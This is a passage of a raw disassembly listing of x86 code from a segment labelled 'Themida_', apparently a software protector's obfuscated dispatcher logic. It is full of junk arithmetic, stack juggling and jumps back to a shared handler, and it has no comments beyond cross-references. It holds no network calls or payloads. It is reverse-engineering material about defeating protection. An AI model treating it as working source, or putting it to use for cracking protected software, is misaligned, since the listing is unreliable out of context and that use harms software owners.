dec edx jmp loc_56B446 ; --------------------------------------------------------------------------- loc_56D0E7: ; CODE XREF: Themida_:005652B7j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_56831F ; --------------------------------------------------------------------------- loc_56D10A: ; CODE XREF: Themida_:00565F9Ej not bl push eax mov ah, 0E6h xor bl, ah jmp loc_56964E ; --------------------------------------------------------------------------- loc_56D116: ; CODE XREF: Themida_:00562DC5j push ecx mov ecx, 4 add eax, ecx jmp loc_56F3D2 ; --------------------------------------------------------------------------- loc_56D123: ; CODE XREF: Themida_:005650E4j push 6E78h mov [esp], ecx mov ecx, 11E473A1h add ecx, 49A44679h dec ecx inc ecx shr ecx, 4 jmp loc_56B2C4 ; --------------------------------------------------------------------------- loc_56D140: ; CODE XREF: Themida_:0056F396j mov ecx, 2F5A614Eh neg ecx inc ecx jmp loc_56443E ; --------------------------------------------------------------------------- loc_56D14D: ; CODE XREF: Themida_:0056C2BAj mov esp, [esp] push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax push 111Fh mov [esp], ebx push 7263h mov [esp], edx push 0BF86AE9h pop edx jmp loc_571A74 ; --------------------------------------------------------------------------- loc_56D177: ; CODE XREF: Themida_:00567589j xor esi, [esp] mov esp, [esp] xchg edi, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D185: ; CODE XREF: Themida_:0056AF07j mov esp, [esp] jmp loc_571D00 ; --------------------------------------------------------------------------- loc_56D18D: ; CODE XREF: Themida_:00570F53j pop ebp neg eax sub eax, 0B8EDFFFEh and ebp, eax pop eax push esi push edx mov edx, 7AE02C9Eh and edx, 6C2834E2h push esi mov esi, 1C0521F6h xor edx, esi pop esi mov esi, edx mov edx, [esp] add esp, 4 xor ebp, esi pop esi add esi, 59947041h jmp loc_567259 ; --------------------------------------------------------------------------- loc_56D1C4: ; CODE XREF: Themida_:0056B18Dj mov [esp], eax mov eax, 3943DAh xor eax, 0B3E11DAh jmp loc_56AFE3 ; --------------------------------------------------------------------------- loc_56D1D6: ; CODE XREF: Themida_:0055E6F8j add eax, ebp pop ebp jmp loc_56F0C8 ; --------------------------------------------------------------------------- loc_56D1DE: ; CODE XREF: Themida_:0056B904j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 push ebx push ecx jmp loc_563AFF ; --------------------------------------------------------------------------- loc_56D1FB: ; CODE XREF: Themida_:0056FF39j mov edx, 718D63CEh or edx, 6C676414h neg edx and edx, 57E60259h xor edx, 203F0075h xor edx, 1134574h mov ebx, edx pop edx push esi mov esi, 4155054Ah jmp loc_55F6B4 ; --------------------------------------------------------------------------- loc_56D228: ; CODE XREF: Themida_:0056CC6Aj push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_566363 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D24A: ; CODE XREF: Themida_:005661B0j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D25E: ; CODE XREF: Themida_:00567CC5j pop esp jmp loc_5629F5 ; --------------------------------------------------------------------------- loc_56D264: ; CODE XREF: Themida_:005708A9j mov ebp, 4 sub eax, ebp pop ebp push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_566B17 ; --------------------------------------------------------------------------- loc_56D28A: ; CODE XREF: Themida_:0056FD68j and eax, ecx pop ecx or eax, eax jz loc_5619C5 sub esp, 4 jmp loc_570D7A ; --------------------------------------------------------------------------- loc_56D2A0: ; CODE XREF: Themida_:00569D6Bj pop esp mov [esp], esi jmp loc_56198D ; --------------------------------------------------------------------------- loc_56D2A9: ; CODE XREF: Themida_:005680F4j push ebx jmp loc_570FF7 ; --------------------------------------------------------------------------- loc_56D2AF: ; CODE XREF: Themida_:0056923Bj push esp mov edx, [esp] add esp, 4 add edx, 4 push edi mov edi, 4 add edx, edi pop edi jmp loc_5608B7 ; --------------------------------------------------------------------------- loc_56D2CD: ; CODE XREF: Themida_:00563A80j xchg ebx, [esp] pop esp push 370Ch mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp div cl movzx cx, ah push small 645Ah mov [esp], cx movzx cx, al push cx pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D2FC: ; CODE XREF: Themida_:0055E19Dj mov ebx, 6014199Fh and ebx, 2B673CBCh or ebx, 64FB20C0h or ebx, 424441ABh or ebx, 0CDB77C0h push edi mov edi, 48043BF5h jmp loc_56C328 ; --------------------------------------------------------------------------- loc_56D324: ; CODE XREF: Themida_:005667D8j pop eax mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp xor [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D33B: ; CODE XREF: Themida_:0055D888j xor esi, [esp] jmp loc_5612C6 ; --------------------------------------------------------------------------- loc_56D343: ; CODE XREF: Themida_:00562D4Bj add eax, 30F3C3Ch push 4D0Eh mov [esp], ecx mov ecx, 4C5C3E62h add eax, ecx push dword ptr [esp] pop ecx jmp loc_562280 ; --------------------------------------------------------------------------- loc_56D360: ; CODE XREF: Themida_:005702B8j push ebx mov bl, 0A8h or bl, 2Ah jmp loc_5630FD ; --------------------------------------------------------------------------- loc_56D36B: ; CODE XREF: Themida_:0056C6BBj mov edi, 7C6B009Ah add dword ptr [esp+0Ch], 42F42799h sub [esp+0Ch], edi sub dword ptr [esp+0Ch], 42F42799h mov edi, [esp] add esp, 4 pop eax mov ebx, [esp] jmp loc_561DA6 ; --------------------------------------------------------------------------- loc_56D396: ; CODE XREF: Themida_:00566AD3j pop ebp xchg ebx, [esp] mov esp, [esp] mov [esp], eax push 1319h jmp loc_55DD85 ; --------------------------------------------------------------------------- loc_56D3AA: ; CODE XREF: Themida_:0056F0DDj pop ecx jmp loc_56B15F ; --------------------------------------------------------------------------- loc_56D3B0: ; CODE XREF: Themida_:0055FAE4j add esp, 4 jmp loc_56786D ; --------------------------------------------------------------------------- loc_56D3B8: ; CODE XREF: Themida_:0056DD14j add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mul ecx push 7E20h mov [esp], esi push esp pop esi add esi, 4 push eax push 27CF174Ch pop eax push eax xchg ebp, [esp] not ebp xchg ebp, [esp] pop eax jmp loc_564C4D ; --------------------------------------------------------------------------- loc_56D3FA: ; CODE XREF: Themida_:0055FE36j push edi jmp loc_565040 ; --------------------------------------------------------------------------- loc_56D400: ; CODE XREF: Themida_:005608F2j mov eax, 463516C5h push eax pop edi pop eax jmp loc_56EBA2 ; --------------------------------------------------------------------------- loc_56D40D: ; CODE XREF: Themida_:00570C0Bj mov cx, [esp] push edi sub esp, 4 jmp loc_563066 ; --------------------------------------------------------------------------- loc_56D41A: ; CODE XREF: Themida_:005683BBj push edx mov edx, 4 push ecx jmp loc_571B6A ; --------------------------------------------------------------------------- loc_56D426: ; CODE XREF: Themida_:0056957Ej mov [esp], edi mov edi, 4 add ebp, 59D92505h add ebp, edi jmp loc_562FD5 ; --------------------------------------------------------------------------- loc_56D43B: ; CODE XREF: Themida_:00566EA0j mov ebx, 47E20F4Dh push ebx not dword ptr [esp] pop ebx add ebx, 5347F06h jmp loc_56E139 ; --------------------------------------------------------------------------- loc_56D450: ; CODE XREF: Themida_:0056D974j add esi, ebp sub esi, 1536096Dh pop ebp push ebx mov ebx, 4 sub esi, ebx jmp loc_5664FF ; --------------------------------------------------------------------------- loc_56D466: ; CODE XREF: Themida_:00560309j pop esp mov [esp], ebx mov ebx, 25F232F1h xchg edi, ebx jmp loc_5670CC ; --------------------------------------------------------------------------- loc_56D476: ; CODE XREF: Themida_:00569742j add esp, 4 add esp, 4 push 0CC0h jmp loc_55DF69 ; --------------------------------------------------------------------------- loc_56D48C: ; CODE XREF: Themida_:00565CE4j sub dword ptr [esp+4], 4164765Ah mov edx, [esp] push ecx push esp pop ecx add ecx, 4 push edx mov edx, 4 jmp loc_568437 ; --------------------------------------------------------------------------- loc_56D4AB: ; CODE XREF: Themida_:00568F6Cj sub esi, 37943C10h add eax, esi mov esi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_56E771 ; --------------------------------------------------------------------------- loc_56D4CA: ; CODE XREF: Themida_:005606A0j push dword ptr [esp] push dword ptr [esp] pop ecx push 2B9h jmp loc_560DBB ; --------------------------------------------------------------------------- loc_56D4DB: ; CODE XREF: Themida_:0057017Fj pop edi push ebx push esp pop ebx push eax mov eax, 4 sub ebx, 21D60D86h jmp loc_56C9FE ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp push esp pop dword ptr [esp] jmp loc_569B45 ; --------------------------------------------------------------------------- loc_56D50E: ; CODE XREF: Themida_:0056CC2Cj pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_56BAEC ; --------------------------------------------------------------------------- loc_56D51A: ; CODE XREF: Themida_:005610A9j mov edi, 6ACE6EACh mov edx, 0FB6C05D4h add edx, edi pop edi shl edx, 3 shl edx, 6 sub edx, 6497C6FDh sub ebx, edx pop edx jmp loc_571F88 ; --------------------------------------------------------------------------- loc_56D53B: ; CODE XREF: Themida_:0056F662j mov al, 6Bh sub al, 83h inc al sub al, 8Ah jmp loc_55EEE9 ; --------------------------------------------------------------------------- loc_56D548: ; CODE XREF: Themida_:00565505j push edx mov edx, 1DD046F5h sub edx, 169C521Bh add edx, 268E04F0h shl edx, 8 sub edx, 62B87481h add ecx, edx jmp loc_56ACAA ; --------------------------------------------------------------------------- loc_56D56A: ; CODE XREF: Themida_:0055F78Ej mov [esp], eax jmp loc_564350 ; --------------------------------------------------------------------------- mov cx, [esp] push 27BCh mov [esp], eax push esp jmp loc_5715DE ; --------------------------------------------------------------------------- loc_56D584: ; CODE XREF: Themida_:0055F82Bj add [esp+4], edi sub dword ptr [esp+4], 526616E7h pop edi pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_55EB93 ; --------------------------------------------------------------------------- loc_56D5BD: ; CODE XREF: Themida_:0056CA44j add bl, ch jmp loc_566250 ; --------------------------------------------------------------------------- loc_56D5C4: ; CODE XREF: Themida_:0055ED0Dj pop eax push esi mov esi, esp jmp loc_570D4B ; --------------------------------------------------------------------------- loc_56D5CD: ; CODE XREF: Themida_:00560042j mov ebp, 291B5F06h sub edx, ebp pop ebp add esi, edx pop edx mov ebp, esi pop esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp pop edi push edi jmp loc_5671B2 ; --------------------------------------------------------------------------- loc_56D5F9: ; CODE XREF: Themida_:0055FCD6j mov dl, 0BEh shl dl, 7 sub esp, 4 mov [esp], eax mov ah, 1Ch shr ah, 3 jmp loc_567B98 ; --------------------------------------------------------------------------- loc_56D60E: ; CODE XREF: Themida_:00560AAFj add eax, 4 jmp loc_56B186 ; --------------------------------------------------------------------------- loc_56D616: ; CODE XREF: Themida_:00561FC5j push dword ptr [esp+4] jmp loc_56B457 ; --------------------------------------------------------------------------- loc_56D61F: ; CODE XREF: Themida_:005640CCj push 52C3h mov [esp], edx mov edx, 106F14A9h jmp loc_55DD27 ; --------------------------------------------------------------------------- loc_56D631: ; CODE XREF: Themida_:0056FB6Dj add bl, 20h jmp loc_5727D3 ; --------------------------------------------------------------------------- loc_56D639: ; CODE XREF: Themida_:00566380j push 1D60h mov [esp], edx jmp loc_56940E ; --------------------------------------------------------------------------- loc_56D646: ; CODE XREF: Themida_:005697D7j mov esi, esp push edi push 4E43039Eh jmp loc_55E34C ; --------------------------------------------------------------------------- loc_56D653: ; CODE XREF: Themida_:005668C1j or dh, ah jmp loc_561066 ; --------------------------------------------------------------------------- loc_56D65A: ; CODE XREF: Themida_:00565AFEj xor cl, dl pop dx jmp loc_56B211 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_565E14 ; --------------------------------------------------------------------------- loc_56D66C: ; CODE XREF: Themida_:0057220Bj xor ecx, 4FBD176Ch xor edi, ecx pop ecx add dword ptr [esp+4], 2EA37E54h jmp loc_55DA00 ; --------------------------------------------------------------------------- loc_56D682: ; CODE XREF: Themida_:00562094j shr ebp, 5 neg ebp xor ebp, 0FFC86C4Eh add eax, ebp pop ebp jmp loc_56107B ; --------------------------------------------------------------------------- loc_56D695: ; CODE XREF: Themida_:00563F5Bj pop esp add edi, 4 xchg edi, [esp] mov esp, [esp] push 49Dh mov [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D6AF: ; CODE XREF: Themida_:0056FEA4j dec esi add esi, 1C3C3FCDh jmp loc_5670F2 ; --------------------------------------------------------------------------- push eax jmp loc_563572 ; --------------------------------------------------------------------------- loc_56D6C1: ; CODE XREF: Themida_:0056E373j mov [esp], esi jmp loc_569E86 ; --------------------------------------------------------------------------- loc_56D6C9: ; CODE XREF: Themida_:00565032j mov al, dh mov edx, [esp] add esp, 4 mov bl, al pop eax push edx mov dl, 73h push eax push edx mov dh, 10h jmp loc_567776 ; --------------------------------------------------------------------------- loc_56D6E3: ; CODE XREF: Themida_:0056B181j push dword ptr [esp] jmp loc_568D48 ; --------------------------------------------------------------------------- loc_56D6EB: ; CODE XREF: Themida_:0056C000j push esi mov esi, 0FFFFFFFFh sub edi, 55844422h add edi, esi add edi, 55844422h mov esi, [esp] jmp loc_564E5B ; --------------------------------------------------------------------------- loc_56D707: ; CODE XREF: Themida_:0056F30Dj and edx, 51B638E1h add edx, 42DE3C0Fh xor edx, 837264F4h add ebp, edx pop edx xchg ebp, [esp] pop esp jmp loc_5714AC ; --------------------------------------------------------------------------- loc_56D725: ; CODE XREF: Themida_:00564689j pop edx push edi mov edi, 35653919h push edx mov edx, 3E5229A7h sub ebx, edx pop edx sub ebx, edi jmp loc_561335 ; --------------------------------------------------------------------------- loc_56D73C: ; CODE XREF: Themida_:0056EF4Aj sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55E377 ; --------------------------------------------------------------------------- lodsw xor ax, bx push cx jmp loc_567939 ; --------------------------------------------------------------------------- loc_56D75B: ; CODE XREF: Themida_:005602AEj xchg ebp, [esp] jmp loc_5603C0 ; --------------------------------------------------------------------------- loc_56D763: ; CODE XREF: Themida_:0056144Ej push esi mov esi, 2CBA7170h sub ebx, 76771A2Dh sub ebx, esi jmp loc_56F34F ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx jmp loc_563D36 ; --------------------------------------------------------------------------- loc_56D788: ; CODE XREF: Themida_:00560E77j push edi mov edi, 58B73462h jmp loc_55F942 ; --------------------------------------------------------------------------- loc_56D793: ; CODE XREF: Themida_:00566AEEj add dh, 0A0h xor dh, 0D7h dec dh jmp loc_5663B8 ; --------------------------------------------------------------------------- loc_56D7A0: ; CODE XREF: Themida_:0056226Fj push ecx push eax mov eax, 4 jmp loc_56ED23 ; --------------------------------------------------------------------------- loc_56D7AC: ; CODE XREF: Themida_:0055FB62j pop dword ptr [esp] mov esp, [esp] cmp cl, al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56D7BA: ; CODE XREF: Themida_:0056FBDEj mov [esp], edx mov edx, 601D5773h jmp loc_56DB4F ; --------------------------------------------------------------------------- loc_56D7C7: ; CODE XREF: Themida_:0056E627j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5600B4 ; --------------------------------------------------------------------------- loc_56D7D7: ; CODE XREF: Themida_:0056ED68j pop edx or edx, ebp pop ebp add edx, 14923C5Eh jmp loc_5604EB ; --------------------------------------------------------------------------- loc_56D7E6: ; CODE XREF: Themida_:005641A8j push ebx jmp loc_560C71 ; --------------------------------------------------------------------------- loc_56D7EC: ; CODE XREF: Themida_:0056B7CFj mov ebx, ebp pop ebp mov ebp, ebx mov ebx, [esp] add esp, 4 pop esi add ebp, 48840C9Fh jmp loc_560945 ; --------------------------------------------------------------------------- loc_56D803: ; CODE XREF: Themida_:00567363j mov ecx, 45D42C60h mov eax, ecx jmp loc_56DD91 ; --------------------------------------------------------------------------- loc_56D80F: ; CODE XREF: Themida_:005614E4j mov [esp], edx jmp loc_5607EA ; --------------------------------------------------------------------------- loc_56D817: ; CODE XREF: Themida_:0056B219j sub esp, 4 mov [esp], esi push esp pop esi push 232Dh mov [esp], edx jmp loc_56B528 ; --------------------------------------------------------------------------- loc_56D82C: ; CODE XREF: Themida_:005667F7j mov edi, esp push eax mov eax, 4 add edi, eax pop eax push ebp mov ebp, 77484499h not ebp jmp loc_565525 ; --------------------------------------------------------------------------- loc_56D844: ; CODE XREF: Themida_:00569149j inc edx sub edx, 124D3EB7h push esi mov esi, 71B026E4h xor esi, 558D39F7h xor edx, esi pop esi sub edx, 2EF1810h sub eax, edx pop edx mov ebx, eax jmp loc_564F0E ; --------------------------------------------------------------------------- loc_56D86A: ; CODE XREF: Themida_:00561C5Ej pop ebp jmp loc_5716FE ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_55F446 ; --------------------------------------------------------------------------- loc_56D87F: ; CODE XREF: Themida_:005705EAj add ecx, 602466FEh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebx jmp loc_56599F ; --------------------------------------------------------------------------- loc_56D8A5: ; CODE XREF: Themida_:00561620j mov ecx, 4 sub esi, 25004DFCh sub esi, 228F32DFh add esi, ecx jmp loc_56B414 ; --------------------------------------------------------------------------- loc_56D8BD: ; CODE XREF: Themida_:0055F480j sub dh, 4Dh jmp loc_5616F5 ; --------------------------------------------------------------------------- loc_56D8C5: ; CODE XREF: Themida_:0055DEFDj add edi, 305B5636h not edi jmp loc_568BC6 ; --------------------------------------------------------------------------- loc_56D8D2: ; CODE XREF: Themida_:0056A6A5j pop ebp push ebp mov ebp, 2 push ebp jmp loc_5634F6 ; --------------------------------------------------------------------------- loc_56D8DF: ; CODE XREF: Themida_:005623F4j push 79DDh mov [esp], ebx jmp loc_563A98 ; --------------------------------------------------------------------------- loc_56D8EC: ; CODE XREF: Themida_:00568386j add edx, esi pop esi jmp loc_571AE2 ; --------------------------------------------------------------------------- loc_56D8F4: ; CODE XREF: Themida_:0056C0A4j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_56965C ; --------------------------------------------------------------------------- loc_56D908: ; CODE XREF: Themida_:0056A682j mov [esp], edx mov edx, esp add edx, 4 push edi jmp loc_56E10B ; --------------------------------------------------------------------------- loc_56D919: ; CODE XREF: Themida_:005679A2j add esp, 4 xor ebp, edx pop edx add ebp, 59850163h jmp loc_56A4B9 ; --------------------------------------------------------------------------- loc_56D92A: ; CODE XREF: Themida_:00572800j inc eax sub eax, 514C397Ah xor eax, 89E1874h push edx jmp loc_56913E ; --------------------------------------------------------------------------- loc_56D93B: ; CODE XREF: Themida_:00571244j add esi, edx sub esi, 5E352B1Bh add esi, 66F22247h push dword ptr [esp] mov edx, [esp] push esi mov esi, esp jmp loc_56B6CF ; --------------------------------------------------------------------------- loc_56D957: ; CODE XREF: Themida_:00563BAAj and ebx, edi pop edi jmp loc_56887A ; --------------------------------------------------------------------------- loc_56D95F: ; CODE XREF: Themida_:00560110j inc ebx add ebx, 607DFA2h sub ebp, ebx mov ebx, [esp] add esp, 4 add esi, 1536096Dh jmp loc_56D450 ; --------------------------------------------------------------------------- loc_56D979: ; CODE XREF: Themida_:0055F3EBj push edi mov edi, 1C84356h or edx, edi push dword ptr [esp] pop edi push ebx mov ebx, esp push edx mov edx, 2E052C4Ch neg edx neg edx sub edx, 2E052C48h add ebx, edx pop edx add ebx, 4 jmp loc_5708FC ; --------------------------------------------------------------------------- loc_56D9A3: ; CODE XREF: Themida_:00562327j push ebx push edx mov edx, 30236647h and edx, 75C17EC1h jmp loc_564A95 ; --------------------------------------------------------------------------- loc_56D9B5: ; CODE XREF: Themida_:0055E616j pop eax add eax, 4 add eax, 4 jmp loc_56BBA3 ; --------------------------------------------------------------------------- loc_56D9C3: ; CODE XREF: Themida_:0056F226j xchg ebx, [esp] pop esp mov [esp], eax mov eax, 33073D02h push ebp mov ebp, 4FF1174Fh xor eax, ebp pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, 42555F12h jmp loc_56A7D0 ; --------------------------------------------------------------------------- loc_56D9F6: ; CODE XREF: Themida_:0056BD57j sub ebx, 51B87472h sub ebx, edx add ebx, 51B87472h sub ebx, 16020013h mov edx, [esp] add esp, 4 sub edi, ebx pop ebx jmp loc_560BD1 ; --------------------------------------------------------------------------- loc_56DA18: ; CODE XREF: Themida_:0055ED91j add esp, 4 push edi mov edi, 4 sub ebx, 41641A58h add ebx, edi add ebx, 41641A58h pop edi xor ebx, [esp] jmp loc_56F0C0 ; --------------------------------------------------------------------------- loc_56DA38: ; CODE XREF: Themida_:00567EE8j shl edi, 6 xor edi, 59AC0A81h add ebp, edi pop edi jmp loc_55EF60 ; --------------------------------------------------------------------------- loc_56DA49: ; CODE XREF: Themida_:0056FD49j push eax mov al, 6Bh shl al, 8 sub al, 0A9h mov dh, al pop eax mov ah, dh pop edx mov bl, ah mov eax, [esp] add esp, 4 xor bl, 71h push dx mov dh, bl sub dh, 0FFh mov bl, dh mov dx, [esp] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] jmp loc_5605B0 ; --------------------------------------------------------------------------- loc_56DA89: ; CODE XREF: Themida_:00562175j add bl, ah add bl, 5Ah mov ax, [esp] add esp, 2 jmp loc_569F18 ; --------------------------------------------------------------------------- loc_56DA9D: ; CODE XREF: Themida_:005655DCj sub [edx+38h], ecx pop ecx loc_56DAA1: ; CODE XREF: Themida_:0056E783j sub esp, 4 mov [esp], ebx jmp loc_566E78 ; --------------------------------------------------------------------------- loc_56DAAC: ; CODE XREF: Themida_:00560A6Aj sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_572417 ; --------------------------------------------------------------------------- loc_56DAB9: ; CODE XREF: Themida_:0056858Fj push edi mov edi, 5D1961E0h sub edi, 15D20A90h dec edi neg edi add edi, 4D128D8Dh mov edx, edi pop edi xor edx, ecx jmp loc_565D5E ; --------------------------------------------------------------------------- loc_56DAD8: ; CODE XREF: Themida_:00560FC1j xchg ecx, [esp] jmp loc_55F1C3 ; --------------------------------------------------------------------------- loc_56DAE0: ; CODE XREF: Themida_:00565736j push edx add byte ptr [esp], 1 mov edx, [esp] add esp, 4 push ecx mov ch, 57h or ch, 0BBh jmp loc_55DB83 ; --------------------------------------------------------------------------- loc_56DAF6: ; CODE XREF: Themida_:00560E92j xor dh, 0D9h push ecx mov cl, 23h add dh, cl pop ecx mov ah, dh jmp loc_55EB14 ; --------------------------------------------------------------------------- loc_56DB06: ; CODE XREF: Themida_:00565933j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 549158AAh shr ecx, 8 dec ecx inc ecx jmp loc_55E0E5 ; --------------------------------------------------------------------------- loc_56DB24: ; CODE XREF: Themida_:0057005Ej add edx, edi pop edi add edx, 4FD3359Dh jmp loc_569E90 ; --------------------------------------------------------------------------- loc_56DB32: ; CODE XREF: Themida_:005680C1j push ebx jmp loc_565E6E ; --------------------------------------------------------------------------- loc_56DB38: ; CODE XREF: Themida_:0056E31Cj add esp, 4 add esp, 4 push bx mov bl, 0BFh sub al, bl jmp loc_565D4C ; --------------------------------------------------------------------------- loc_56DB4F: ; CODE XREF: Themida_:0056D7C2j xor edx, 4CAF1181h add ebp, 78900BD1h add ebp, edx sub ebp, 78900BD1h mov edx, [esp] jmp loc_566064 ; --------------------------------------------------------------------------- loc_56DB6B: ; CODE XREF: Themida_:0056BC0Fj add eax, 6B7427EDh jmp loc_5666CF ; --------------------------------------------------------------------------- loc_56DB75: ; CODE XREF: Themida_:0055E493j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sub edx, 26D1619Bh push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_56494A ; --------------------------------------------------------------------------- loc_56DB96: ; CODE XREF: Themida_:0055EBE1j mov dx, [esp] push ebp push esp push dword ptr [esp] mov ebp, [esp] push ebx mov ebx, esp push ebp mov ebp, 0EA14635h add ebp, 0F15EB9CFh add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] pop esp push 327h mov [esp], ecx push 192Fh mov [esp], esp add dword ptr [esp], 4 jmp loc_56E290 ; --------------------------------------------------------------------------- loc_56DBD7: ; CODE XREF: Themida_:005666E9j add esp, 4 mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- mov cx, [esp] push 12EDh mov [esp], ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 push 567Dh mov [esp], esi mov esi, 0B0529ECh jmp loc_562428 ; --------------------------------------------------------------------------- loc_56DC27: ; CODE XREF: Themida_:0057194Cj push ecx mov ecx, 2D9A6236h dec ecx xor ecx, 7B3F6CF9h jmp loc_5690E5 ; --------------------------------------------------------------------------- loc_56DC39: ; CODE XREF: Themida_:0056BABDj mov [esp], ebx mov ebx, 7F262634h jmp loc_56800A ; --------------------------------------------------------------------------- loc_56DC46: ; CODE XREF: Themida_:005686F4j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56DC4B: ; CODE XREF: Themida_:00568DF7j mov cl, dh mov edx, [esp] add esp, 4 xor al, cl mov cx, [esp] push ebx jmp loc_569E7A ; --------------------------------------------------------------------------- loc_56DC62: ; CODE XREF: Themida_:0056A270j mov edx, esp add edx, 4 jmp loc_55E45C ; --------------------------------------------------------------------------- loc_56DC6F: ; CODE XREF: Themida_:00560593j add edx, ebp jmp loc_564331 ; --------------------------------------------------------------------------- loc_56DC76: ; CODE XREF: Themida_:005629B1j xchg ebx, [esp] mov esp, [esp] jmp loc_568FCB ; --------------------------------------------------------------------------- loc_56DC81: ; CODE XREF: Themida_:0055F989j pop ebx add esi, 54232093h sub esi, 3EC87F8Dh mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56DCA6: ; CODE XREF: Themida_:0056B008j add eax, ebp pop ebp sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55F25D ; --------------------------------------------------------------------------- loc_56DCB9: ; CODE XREF: Themida_:00565E69j push ebp push 580C4A85h jmp loc_56566D ; --------------------------------------------------------------------------- loc_56DCC4: ; CODE XREF: Themida_:00561B59j sub eax, 74D70233h jmp loc_5711EB ; --------------------------------------------------------------------------- loc_56DCCE: ; CODE XREF: Themida_:00563616j mov [esp], ebx jmp loc_57246A ; --------------------------------------------------------------------------- loc_56DCD6: ; CODE XREF: Themida_:00571889j add edx, 2BEC22C9h add edx, ebx sub edx, 2BEC22C9h jmp loc_56DF3F ; --------------------------------------------------------------------------- loc_56DCE9: ; CODE XREF: Themida_:005720F3j pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xor edi, 6D9F569Dh push edi pop ebx pop edi add ecx, 65A55190h add ecx, ebx push ebx mov ebx, 65A55190h sub ecx, ebx mov ebx, [esp] add esp, 4 pop ebx jmp loc_56D3B8 ; --------------------------------------------------------------------------- loc_56DD19: ; CODE XREF: Themida_:0056313Cj pop ebx sub esp, 4 mov [esp], esi mov esi, esp push 59CBh mov [esp], ebp jmp loc_55F4D3 ; --------------------------------------------------------------------------- loc_56DD2F: ; CODE XREF: Themida_:0055EE13j mov ebp, edi pop edi mov ebx, 55F3B1B6h sub ebx, ebp mov ebp, [esp] jmp loc_570C83 ; --------------------------------------------------------------------------- loc_56DD41: ; CODE XREF: Themida_:00566DA7j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_57031B ; --------------------------------------------------------------------------- loc_56DD5C: ; CODE XREF: Themida_:0055F066j sub ebx, 4323176Fh jmp loc_5719DB ; --------------------------------------------------------------------------- loc_56DD67: ; CODE XREF: Themida_:00572263j xor ecx, [esp] mov esp, [esp] jmp loc_560F9A ; --------------------------------------------------------------------------- loc_56DD72: ; CODE XREF: Themida_:0056A053j sub ecx, 55B2277Dh jmp loc_5650C6 ; --------------------------------------------------------------------------- loc_56DD7D: ; CODE XREF: Themida_:00565BECj pop eax push 36E0h mov [esp], ebp push ebx mov ebx, 15E2497Ah jmp loc_560254 ; --------------------------------------------------------------------------- loc_56DD91: ; CODE XREF: Themida_:0056D80Aj pop ecx jmp loc_565894 ; --------------------------------------------------------------------------- loc_56DD97: ; CODE XREF: Themida_:00561C4Bj push edi mov edi, 1E5F5800h add ebp, edi pop edi add ebp, eax sub ebp, 1E5F5800h mov eax, [esp] add esp, 4 push 155Bh mov [esp], ecx push esp pop ecx push edx jmp loc_5640FC ; --------------------------------------------------------------------------- loc_56DDBE: ; CODE XREF: Themida_:00565B29j inc edi push edx mov edx, 82FDB28Ah jmp loc_5601FB ; --------------------------------------------------------------------------- loc_56DDCA: ; CODE XREF: Themida_:00560C93j push dword ptr [esp+4] pop ecx jmp loc_5603E5 ; --------------------------------------------------------------------------- loc_56DDD4: ; CODE XREF: 